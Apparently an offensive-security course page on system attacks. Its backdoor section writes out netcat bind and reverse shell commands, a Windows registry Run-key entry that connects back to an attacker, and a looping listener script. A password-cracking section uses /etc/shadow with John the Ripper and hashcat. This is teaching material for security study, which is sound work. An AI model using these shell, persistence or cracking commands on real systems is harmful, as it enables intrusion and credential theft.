More Courses

System Attacks

Backdoor

Backdoors have two components, server and client:

  • Server runs on the victim machine listening on the network in order to accept connections.

  • Client runs on the attacker machine.

  • Netbus or SubSeven are very famous.

  • If the backdoor server sits behind a firewall, the easiest way to archive a connection is using a Connect-back Backdoor or Reverse Backdoor.

  • A firewall cannot tell the difference between a user surfing the web and a backdoor connecting back to the attacker's machine.

Create stable connection to a remote host

# => Listener
ncat -l -v -p 5555 -e /bin/bash
# => Client
ncat localhost 5555

## Reverse connection
# => Attacker/Listener
ncat -l -p 5555 -v
# => Victim / Client
ncat -e /bin/bash remoteIP remotePort

# bash interactive for friendly prompt
bash -i
# Persist execution in windows
> regedit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Run

# Add string value
Name: ncact
Value: yourpath\ncat attackerMachine Port -e cmd.exe
# Persistent connection script
# By default netcat does not have a persistent connection.
# You will need to run it in a while loop if you want to connect to it more than once.
# Otherwise it will close the program after the first connection:
# https://defcon.org/images/defcon-22/dc-22-presentations/Nemus/DEFCON-22-Lance-Buttars-Nemus-Intro-to-backdooring-OS.pdf

#!/bin/bash
while [ 1 ]; do
  echo | ncat -l -v -p 445 -e /bin/bash
done

Password Attacks

Normally stored in an encrypted form, preventing a malicious local user from getting to know user's passwords, using a one-way encryption algorithm, using a cryptographic hashing function. There are three main strategies:

Brute force attacks

This method is only used when other attack vectors fail.

You try them all by generating and testing all the possible valid passwords. Given enough time, a brute force attack is always successful.

  • Long passwords made by upper and lower case letters, numbers and symbols can take days or even years to crack

  • John The Ripper: can mount both brute force and dictionary-based attacks against a password database (see: john --list=formats)

    • Fast because of the high use of parallelization, crack strategies

    • /etc/passwd: contains info about user accounts

    • /etc/shadow: contains info about the actual password hashes

    • john needs the username and the password hashes to be in the same file, therefore we need to use the unshadow utility that comes with John The Ripper

    • john -incremental -users:<users list> <file to crack>

    • john -incremental -users:victim crackme

    • To display the passwords recovered by john, use: john --show <file>

Dictionary attacks

  • Common passwords

  • Faster than pure brute force attacks

  • Poorly chosen or default passwords are more exposed to dictionary cracking

  • john -wordlist=<custom wordlist file> <file to crack>

  • Install password dictionaries: apt-get install seclists

    • You'll find them in /usr/share/seclists/Passwords

  • Mangling words

    • Variations on dictionary words

    • john -wordlist=<custom wordlist file> <file to crack> -rules <file to crack>

Rainbow Tables

  • Offer a tradeoff between the processing time needed to calculate the hash of a password and the storage space needed to mount an attack.

  • A rainbow table contains links between the results of a run of one hashing function and another.

  • Rainbow tables are BIG in file size, but reduces a cracking session from days to seconds.

  • Great choice to crack simple and complex short passwords.

  • Ophcrack rainbow cracking for Windows authentication passwords (can run on Linux too).

John the Ripper

unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/john/password.lst hashes.txt
cat /root/.john/john.pot

Hashcat

# -m hash-type
# -a various attack mode
# -b benchmark
# -D specify the device
# -O optimize performance

> hashcat -b

# Wordlist attack
> hashcat -m 0 -a 0 -D2 example.hash example.dict
# -m 0 md5 type of hash
# -a 0 simple dictionary attack

# Rules
# Mutate dictionary words by setting different rules
custom.rule:

l
u
c
r
$1
$2
[
]
^1
^a
^!$!

# also hashcat comes with builtin rules

# Mask Attack
# 5 letter passwords = 5 masks
> hascat -m 0 -a 3 example.hash ?l?l?l?l

Buffer Overflow Attacks

A BoF attack can lead to:

  • An app or OS crash (DoS).

  • Privilege escalation.

  • Remote code execution.

  • Security features bypass.

A buffer is an area in the RAM reserved for temporary data storage:

  • User input, parts of a video file, server banners received by a client application. etc.

  • Buffers have a finite size, therefore: if an app developer does not enforce a buffer limit, an attacker could find a way to write data beyond those limits and write there arbitrary code

Stack

  • A stack is a data structure used to store data.

  • Two operation for LIFO stacks: pop & push.

  • Space on the stack can be allocated from app's code.

  • An overflow happens when an attacker overwrites on a reserved space, so overwriting a function return address means getting control over the app.

  • If an attacker manages to overflow a local variable from the app, the attacker would be able to overwrite the Base Pointer and then get a Return Address.

  • If the attacker overwrites the Return Address with the right value, they are able to control the execution flow of the program.

  • This technique can be exploited by writing custom tools and applications or by using hacking tools as Metasploit.

Being able to write a buffer overflow exploit requires a deep understanding of assembly programming, how applications and OS works and some exotic programming skills.

PreviousWeb AttacksNextNetwork Attacks

Last updated